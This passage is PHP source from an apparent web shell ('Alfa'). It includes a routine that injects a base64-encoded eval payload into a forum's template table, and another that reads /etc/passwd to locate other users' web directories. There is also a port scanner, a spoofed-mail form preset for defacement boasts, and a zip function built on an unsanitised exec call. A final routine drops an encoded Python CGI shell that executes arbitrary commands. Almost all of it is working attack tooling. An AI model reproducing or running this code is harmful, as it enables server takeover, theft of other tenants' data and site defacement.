  2934. <tr><td><font color="#FFFFFF"><b>User Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'user\' value=\'\'></td></tr>
  2935. <tr><td><font color="#FFFFFF"><b>Password : </b></font></td><td><input type=\'text\' size=\'30\' name=\'pass\' value=\'\'></td></tr>
  2936. <tr><td><font color="#FFFFFF"><b>Table Prefix : </b></font></td><td><input type=\'text\' size=\'30\' name=\'tab\' value=\'\'></td></tr>
  2937. </table>
  2938. <br><input type="submit" value=">>"/>
  2939. </form></center>';
  2940. if($_POST['alfa5']){
  2941. $code = "{\${eval(base64_decode(\'JGNvZGUgPSAnUEQ5d2FIQU5DbVZqYUc4Z0lqeDBhWFJzWlQ1VGIyeGxkbWx6YVdKc1pTQlZjR3h2WVdSbGNqd3ZkR2wwYkdVK1hHNGlPdzBLWldOb2J5QWlQQzlvWldGa1BseHVJanNOQ21WamFHOGdJanhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQR0krV1c5MWNpQkpjQ0JCWkdSeVpYTnpJR2x6UEM5aVBpQThabTl1ZENCamIyeHZjajFjSW5kb2FYUmxYQ0krUEM5bWIyNTBQand2WTJWdWRHVnlQaUJjYmlJN0RRcGxZMmh2SUNJOFltbG5QanhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN0RRcGxZMmh2SUNSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRPdzBLWldOb2J5QWlQQzlqWlc1MFpYSStQQzltYjI1MFBqd3ZZVDQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNWNiaUk3RFFwbFkyaHZJQ0k4WW5JK1hHNGlPdzBLWldOb2J5QWlQR0p5UGx4dUlqc05DbVZqYUc4Z0lqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdKcFp6NDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVJanNOQ21WamFHOGdKenhqWlc1MFpYSStQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUEwS2FXUTlJblZ3Ykc5aFpHVnlJajRuT3cwS0lHVmphRzhnSnp4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0ptYVd4bElpQnphWHBsUFNJME5TSStQR2x1Y0hWMElHNWhiV1U5SWw5MWNHd2lJSFI1Y0dVOUluTjFZbTFwZENJZ0RRcHBaRDBpWDNWd2JDSWdkbUZzZFdVOUlsVndiRzloWkNJK1BDOW1iM0p0UGp3dlkyVnVkR1Z5UGljN0RRb2dhV1lvSUNSZlVFOVRWRnNuWDNWd2JDZGRJRDA5SUNKVmNHeHZZV1FpSUNrZ2V3MEtJR2xtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdEUW9uUEdJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVWY0d4dllXUWdVM1ZqWTJWemMyWjFiR3g1SURzcFBDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwySStQR0p5UGp4aWNqNG5PeUI5RFFvZ0lDQWdJR1ZzYzJVZ2V5QmxZMmh2SUNjOFlqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBWd2lJemREUmtNd01Gd2lQand2WWo0TkNqeGljajQ4WW5JK0p6c2dmUTBLSUgwTkNqOCtEUW84WTJWdWRHVnlQanh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNk16QndlRHNpUGp4emNHRnVJSE4wZVd4bFBTSmlZV05yWjNKdmRXNWtPaUIxY213b0puRjFiM1E3YUhSMGNEb3ZMM1Z3TG1seVlXNHRkR0ZzYXk1cGNpOTFjR3h2WVdSekx6RXpNekUxTnpFeE5Ea3pMbWRwWmlaeGRXOTBPeWtnY21Wd1pXRjBMWGdnYzJOeWIyeHNJREFsSURBbElIUnlZVzV6Y0dGeVpXNTBPeUJqYjJ4dmNqb2djbVZrT3lCMFpYaDBMWE5vWVdSdmR6b2dPSEI0SURod2VDQXhNM0I0T3lJK1BITjBjbTl1Wno0OFlqNDhZbWxuUG5OdmJHVjJhWE5wWW14bFFHZHRZV2xzTG1OdmJUd3ZZajQ4TDJKcFp6NDhMM04wY205dVp6NE5DZz09JzsgJGZwID0gZm9wZW4oInNvbGV2aXNpYmxlLnBocCIsIncrIik7IGZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgkY29kZSkpOyBoZWFkZXIoIkxvY2F0aW9uOiBzb2xldmlzaWJsZS5waHAiKTs=\'))}}{\${exit()}}&";
  2942. $template =$_POST['alfa1'];
  2943. @mysql_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5']) or die(mysql_error());
  2944. @mysql_select_db($_POST['alfa3']) or die(mysql_error());
  2945. $p = "UPDATE ".$_POST['alfa6']."template SET template ='".$code."' WHERE title ='".$template."'";
  2946. $ka= @mysql_query($p) or die(mysql_error());
  2947. if ($ka){echo"<script>alert('Shell Injected in $template')</script>";}
  2948. }
  2949. echo "</div>";
  2950. alfafooter();
  2951. }
  2952. function alfaportscanner(){
  2953. alfahead();
  2954. echo '<div class=header><script>alfa2_=alfa3_=alfa4_="";</script><center><br><b><font color="#FFFFFF">Port Scaner<font></b><br>
  2955. <br><br><form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
  2956. <input type="hidden" name="y" value="phptools">
  2957. <b><font color="#00A220"> Host: <br /><br />
  2958. <input id="text" type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br /><br />
  2959. <b><font id="text" color="#FFFFFF"> Port start: <br />
  2960. <input id="text" type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br /><br />
  2961. <b><font color="#FF0000"> Port end: <br />
  2962. <input id="text" type="text" style="color:#FF0000;background-color:#000000" name="end" value="1000"/><br /><br />
  2963. <input type="submit" value=">>" />
  2964. </form></center><br><br>
  2965. ';
  2966. $start = strip_tags($_POST['alfa2']);
  2967. $end = strip_tags($_POST['alfa3']);
  2968. $host = strip_tags($_POST['alfa4']);
  2969. if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
  2970. echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br/>';
  2971. for($i = $start; $i<=$end; $i++){
  2972. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  2973. if($fp){
  2974. echo "<center>Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font></br></center>";
  2975. }
  2976. flush();
  2977. }
  2978. }
  2979. echo '</div>';
  2980. alfafooter();
  2981. }
  2982. function alfabasedir(){
  2983. alfahead();
  2984. echo '<div class=header>';
  2985. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  2986. set_time_limit(0);
  2987. @$passwd = fopen('/etc/passwd','r');
  2988. if (!$passwd) { die('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>'); }
  2989. $pub = array();
  2990. $users = array();
  2991. $conf = array();
  2992. $i = 0;
  2993. while(!feof($passwd))
  2994. {
  2995. $str = fgets($passwd);
  2996. if ($i > 35)
  2997. {
  2998. $pos = strpos($str,':');
  2999. $username = substr($str,0,$pos);
  3000. $dirz = '/home/'.$username.'/public_html/';
  3001. if (($username != ''))
  3002. {
  3003. if (is_readable($dirz))
  3004. {
  3005. array_push($users,$username);
  3006. array_push($pub,$dirz);
  3007. }
  3008. }
  3009. }
  3010. $i++;
  3011. }
  3012. echo '<br><br>';
  3013. echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font></b>";
  3014. echo "<b><font color=\"#FFFFFF\">[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font></b>";
  3015. echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
  3016. foreach ($users as $user)
  3017. {
  3018. $path = "/home/$user/public_html/";
  3019. echo "<form method=post onsubmit='g('FilesMan',this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
  3020. }
  3021. echo '<br><br></b>';
  3022. echo '</div>';
  3023. alfafooter();
  3024. }
  3025. function alfamail(){
  3026. alfahead();
  3027. echo '<div class=header><br><br>';
  3028. echo '
  3029. <script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_="";</script>
  3030. <center><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,this.mail_send.value,this.mail_content.value); return false;">
  3031. <table border=1>
  3032. <tr>
  3033. <td>
  3034. <font color="#00A220"><b>mail to : </b></font></td><td><input placeholder="target" size="30" type="text" name="mail_to" />
  3035. </td>
  3036. </tr>
  3037. <tr>
  3038. <td>
  3039. <font color="#ffffff"><b>from : </b></font></td><td><input type="text" size="30" placeholder="solevisible@gmail.com" name="mail_from" />
  3040. </td>
  3041. </tr>
  3042. <tr>
  3043. <td>
  3044. <font color="#FF0000"><b>subject : </b></font></td><td><input type="text" size="30" value="your site hacked by me" name="mail_subject" />
  3045. </td>
  3046. </tr>
  3047. </table><br>
  3048. <textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea>
  3049. <br><input type="submit" value=">>" name="mail_send" />
  3050. </form></center><br><br></div>';
  3051. alfafooter();
  3052. if(isset($_POST['alfa4']) && ($_POST['alfa4'] == '>>'))
  3053. {
  3054. $mail_to = $_POST['alfa1'];
  3055. $mail_from = $_POST['alfa2'];
  3056. $mail_subject = $_POST['alfa3'];
  3057. $mail_content = $_POST['alfa5'];
  3058. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
  3059. { echo '<script>alert(\'mail sended\')</script>'; }
  3060. else echo '<script>alert(\'failed\')</script>';
  3061. }
  3062. }
  3063. function alfaziper(){
  3064. alfahead();
  3065. echo '<div class=header>';
  3066. if (class_exists('ZipArchive')){
  3067. echo '
  3068. <script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
  3069. <center>
  3070. <br /><br />
  3071. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
  3072. <font color="#FFFFFF"><b>Dir:</b> </font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['cwd']).'" size="60"/><br /><br />
  3073. <font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
  3074. <input type="submit" value=">>" name="ziper" /> <br /><br />
  3075. </form></center>
  3076. ';
  3077. $code = base64_decode('ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAgICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2FycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKCRmaWxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJywgJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maWxlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXNfZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHppcC0+Y2xvc2UoKTs=');
  3078. if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>'))
  3079. {
  3080. $newfunc = create_function('$source,$destination', $code);
  3081. $dirzip = $_POST['alfa3'];
  3082. $zipfile = $_POST['alfa4'];
  3083. if($newfunc($dirzip, $zipfile)){
  3084. echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
  3085. </b></center>';
  3086. }else {echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>';}
  3087. }
  3088. }
  3089. else {
  3090. echo '
  3091. <script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
  3092. <center>
  3093. <br /><br />
  3094. <form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
  3095. Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['cwd']).'" size="60"/><br /><br />
  3096. Save Dir: <input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
  3097. <input type="submit" value=">>" name="ziper" /> <br /><br />
  3098. </form></center>
  3099. ';
  3100. if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>'))
  3101. {
  3102. $dirzip = trim($_POST['alfa3']);
  3103. $zipfile = trim($_POST['alfa4']);
  3104. if(exec("zip -r $zipfile $dirzip")){
  3105. echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
  3106. </b></center></b></center><br><br>';
  3107. }else {echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>';}
  3108. }
  3109. }
  3110. echo '</div>';
  3111. alfafooter();
  3112. }
  3113. function alfacgipython()
  3114. {
  3115. alfahead();
  3116. echo '<div class=header>';
  3117. mkdir('cgipy',0755);
  3118. chdir('cgipy');
  3119. $solevisible7 = '.htaccess';
  3120. $solevisible6 = "$solevisible7";
  3121. $solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
  3122. $solevisible5 = 'AddHandler cgi-script .izo';
  3123. fwrite ( $solevisible4 ,$solevisible5 ) ;
  3124. fclose ($solevisible4);
  3125. $solevisible3 = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
  3126. IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
  3127. b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
  3128. cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
  3129. ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
  3130. Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
  3131. Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
  3132. YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
  3133. ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  3134. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
  3135. OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
  3136. dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
  3137. dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
  3138. b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  3139. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
  3140. aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
  3141. c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
  3142. NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
  3143. PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
  3144. VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  3145. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
  3146. cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
  3147. IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
  3148. aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
  3149. dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
  3150. Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
  3151. d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
  3152. aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
  3153. ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
  3154. XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
  3155. W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
  3156. cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
  3157. PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
  3158. IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
  3159. ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
  3160. aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
  3161. CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
  3162. ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
  3163. cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
  3164. ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
  3165. Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
  3166. IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
  3167. dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
  3168. ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
  3169. IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
  3170. IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
  3171. cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
  3172. IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
  3173. ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
  3174. YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
  3175. KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
  3176. aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
  3177. PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
  3178. PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
  3179. ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
  3180. ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
  3181. dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
  3182. aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
  3183. biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
  3184. bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
  3185. TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
  3186. bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
  3187. ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
  3188. SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
  3189. ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
  3190. cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
  3191. $solevisible1 = fopen('py.izo','w+');
  3192. $solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
  3193. fclose($solevisible1);
  3194. chmod('py.izo',0755);
  3195. echo '<iframe src=cgipy/py.izo width=100% height=600px frameborder=0></iframe> ';
  3196. echo "</div>";
  3197. alfafooter();
  3198. }
  3199. if( empty($_POST['a']) )
  3200. if(isset($default_action) && function_exists('alfa' . $default_action))
  3201. $_POST['a'] = $default_action;
  3202. else
  3203. $_POST['a'] = 'FilesMan';
  3204. if( !empty($_POST['a']) && function_exists('alfa' . $_POST['a']) )
  3205. call_user_func('alfa' . $_POST['a']);
  3206. exit;
  3207. ?>
comments powered by Disqus